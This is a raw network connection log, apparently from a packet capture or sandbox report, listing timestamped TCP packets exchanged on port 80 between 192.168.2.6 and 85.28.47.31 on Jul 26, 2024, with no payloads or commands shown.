Jul 26, 2024 10:36:07.922003031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922019005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922033072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922055960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922159910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922244072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922442913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922530890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922645092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922723055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922735929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922791958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922818899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922837019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922904015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922904968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.922950029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922965050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.922979116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.923013926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.923059940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.937772036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.937788010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.937803030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.937877893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938035011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938050985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938066006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938081026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938111067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938163042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938642025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938657045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938672066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938687086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938724041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938774109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938838005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.938954115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.938990116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939006090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939080954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.939080954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.939188004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939203024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939217091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939230919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939256907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.939292908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.939680099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.939796925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007316113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007343054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007358074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007586002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007586002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007711887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007728100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007742882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007756948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007772923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007807970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007832050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007847071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007863045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007872105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007879019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.007919073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.007955074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.008042097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.008057117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.008107901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.008172989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.008188009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.008203030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.008270979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.008270979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.013576984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.013638973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.013653994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.013725996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.013725996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.013914108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.013930082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.013946056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014019012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014019012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014391899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014408112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014425039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014487982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014513969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014538050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014563084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014578104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014592886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.014594078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014635086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.014667034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.015099049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015114069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015129089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015144110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015158892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015166044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.015288115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.015532970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015549898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.015594959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.015687943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016061068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016077042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016093016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016170025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016170979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016268015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016283035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016366005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016627073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016643047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016658068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.016700983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016752958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.016990900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.017007113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.017051935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.017080069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.031413078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.031630993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032111883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032126904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032144070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032182932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032231092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032234907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032248020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032263994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032279015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032306910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032308102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032365084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032718897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032735109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032749891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032763958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032780886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.032780886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032845020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.032845020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.033400059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033422947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033437014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033451080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033458948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033472061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.033519983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.033519983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.033958912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033974886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.033989906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034003973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034018993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034034967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034046888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034046888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034053087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034096003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034121990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034765005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034780979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034795046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034811020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034826040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034841061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034856081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034857988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034857988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034873009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.034904003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.034938097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.035540104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.035556078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.035571098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.035619974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.035619974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.099503994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.099565983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.099581957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.099625111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.099711895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.099781990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.099798918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.099879980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.099879980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.099986076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100002050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100050926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100069046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100250006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100265026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100281000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100295067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100310087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100317955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100334883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100377083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100786924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100802898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100853920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100900888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100917101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.100944042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100944042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.100979090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101190090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101206064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101221085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101234913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101257086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101269007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101269007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101337910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101655960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101711035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101774931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101790905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101805925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101828098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101840973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101844072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101861000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101885080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.101888895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101958990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.101958990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.102523088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102538109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102607012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.102679968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102694988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102765083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.102765083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.102952003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102967978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.102997065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.103038073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.103038073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106097937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106157064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106206894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106206894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106561899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106576920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106591940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106642008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106642008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106688023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106745005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106761932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106766939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106777906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.106817961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.106847048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107065916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107089996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107104063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107152939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107152939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107395887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107413054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107435942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107450962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107487917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107487917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107528925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107707977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107759953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107788086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107803106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107817888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107832909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107847929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.107861042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107861042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.107903004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.108253956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108334064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.108367920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108382940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108444929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.108581066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108594894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108609915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108624935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108642101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.108671904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.108921051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108937025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108952999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.108979940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109009981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109215021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109230042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109246016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109261990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109286070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109302998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109675884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109690905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109704971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109719992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109735012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109740973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109752893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.109772921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.109826088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.110091925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.110169888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.123909950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.123950005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.123965025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.123981953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.124018908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.124356985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124372959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124387980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124403000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124442101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.124515057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.124536991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124552965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124567986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.124583006 CEST	80	49710	85.28.47.31	192.168.2.6
